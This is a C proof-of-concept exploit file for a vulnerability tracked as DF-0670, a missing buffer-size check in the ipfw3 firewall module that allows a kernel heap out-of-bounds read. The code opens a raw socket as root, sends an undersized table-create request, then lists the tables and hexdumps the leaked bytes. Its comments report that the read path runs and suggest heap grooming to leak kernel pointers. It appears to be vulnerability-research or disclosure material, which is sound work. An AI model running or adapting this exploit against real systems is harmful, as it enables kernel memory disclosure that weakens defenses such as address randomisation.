DF-0670 / df0670_ipfw3_oob.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 | /* * DF-0670 PoC — ipfw3 missing sopt_valsize validation -> heap OOB read. * * Source-level bug CONFIRMED; the OOB read code path IS executed * (setsockopt returns 0). However, on this guest's slab state the * leaked bytes are zero — no actual info leak observed in this PoC run. * See VERDICT.md. * * Build: cc -O -pipe -o df0670_ipfw3_oob df0670_ipfw3_oob.c * Run (root only, after `kldload ipfw3; kldload ipfw3_basic`): * ./df0670_ipfw3_oob * * Threat model: PR:H (SOCK_RAW requires root). The leak would be * practical with heap grooming to populate adjacent slab chunks with * kernel pointers, but on this guest KASLR is already OFF so the * ceiling is reduced. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #define IP_FW_X 49 #define IP_FW_TABLE_CREATE 73 #define IP_FW_TABLE_LIST 77 #define IPFW_TABLES_MAX 32 #define IPFW_TABLE_NAME_LEN 32 struct ip_fw_x_header { uint16_t opcode; uint16_t _pad; }; struct ipfw_ioc_table { int id; int type; int count; char name[IPFW_TABLE_NAME_LEN]; }; static void hexdump(const char *pfx, const void *data, size_t n) { const unsigned char *p = data; size_t i; printf("%s (%zu bytes):\n", pfx, n); for (i = 0; i < n; i++) { if ((i & 15) == 0) printf(" %04zx: ", i); printf("%02x ", p[i]); if ((i & 15) == 15) printf("\n"); } if ((i & 15) != 0) printf("\n"); fflush(stdout); } int do_create(int s, int valsize_extra) { int total = 4 + valsize_extra; unsigned char *buf = calloc(1, total); struct ip_fw_x_header *hdr = (struct ip_fw_x_header *)buf; int error; hdr->opcode = IP_FW_TABLE_CREATE; error = setsockopt(s, IPPROTO_IP, IP_FW_X, buf, total); free(buf); return error; } int do_list(int s, struct ipfw_ioc_table *out, int n_tables) { int total = 4 + n_tables * sizeof(*out); unsigned char *getbuf = calloc(1, total); socklen_t optsize = total; int error; ((struct ip_fw_x_header *)getbuf)->opcode = IP_FW_TABLE_LIST; error = getsockopt(s, IPPROTO_IP, IP_FW_X, getbuf, &optsize); /* After ip_fw3_ctl_x's bcopy, the kernel writes the ioc_tables at * offset 0 of the kernel buffer; copyout returns optsize bytes * starting at offset 0. */ memcpy(out, getbuf, n_tables * sizeof(*out)); free(getbuf); return error; } int main(void) { int s, error, run; struct ipfw_ioc_table tabs[IPFW_TABLES_MAX]; /* IP_FW_X is only reachable via raw_ip.c rip_ctloutput -> need SOCK_RAW. * Creating a raw socket requires root, matching the finding's PR:H. */ s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("socket(SOCK_RAW) (DF-0670 trigger requires root)"); return 2; } printf("[sizeof user ipfw_ioc_table = %zu]\n", sizeof(struct ipfw_ioc_table)); printf("[DF-0670: short-buffer CREATE -> OOB read of ioc_table->type and ->name]\n\n"); for (run = 0; run < 3; run++) { printf("=== RUN %d ===\n", run); /* valsize=4 means after x_header strip sopt_valsize=0; the kernel * kmalloc(4) returns an 8-byte slab chunk. table_create_dispatch * reads ioc_table->type at off 4 (within chunk, past user data) * and strlcpy(ioc_table->name, off 12..43) reads adjacent slab * chunks. type is a 4-byte read (NOT NUL-stopped), so it can * carry non-zero residue when present. */ error = do_create(s, 0); /* total valsize=4 */ printf(" create(valsize=4) rc=%d errno=%d\n", error, errno); error = do_list(s, tabs, IPFW_TABLES_MAX); printf(" list rc=%d. table_ctx[0].id=%d type=0x%08x count=%d\n", error, tabs[0].id, (unsigned)tabs[0].type, tabs[0].count); hexdump(" table_ctx[0].name (32 bytes)", tabs[0].name, IPFW_TABLE_NAME_LEN); if (tabs[0].type != 0) printf(" *** LEAK: table_ctx[0].type=0x%08x non-zero ***\n", (unsigned)tabs[0].type); printf("\n"); fflush(stdout); } close(s); return 0; } |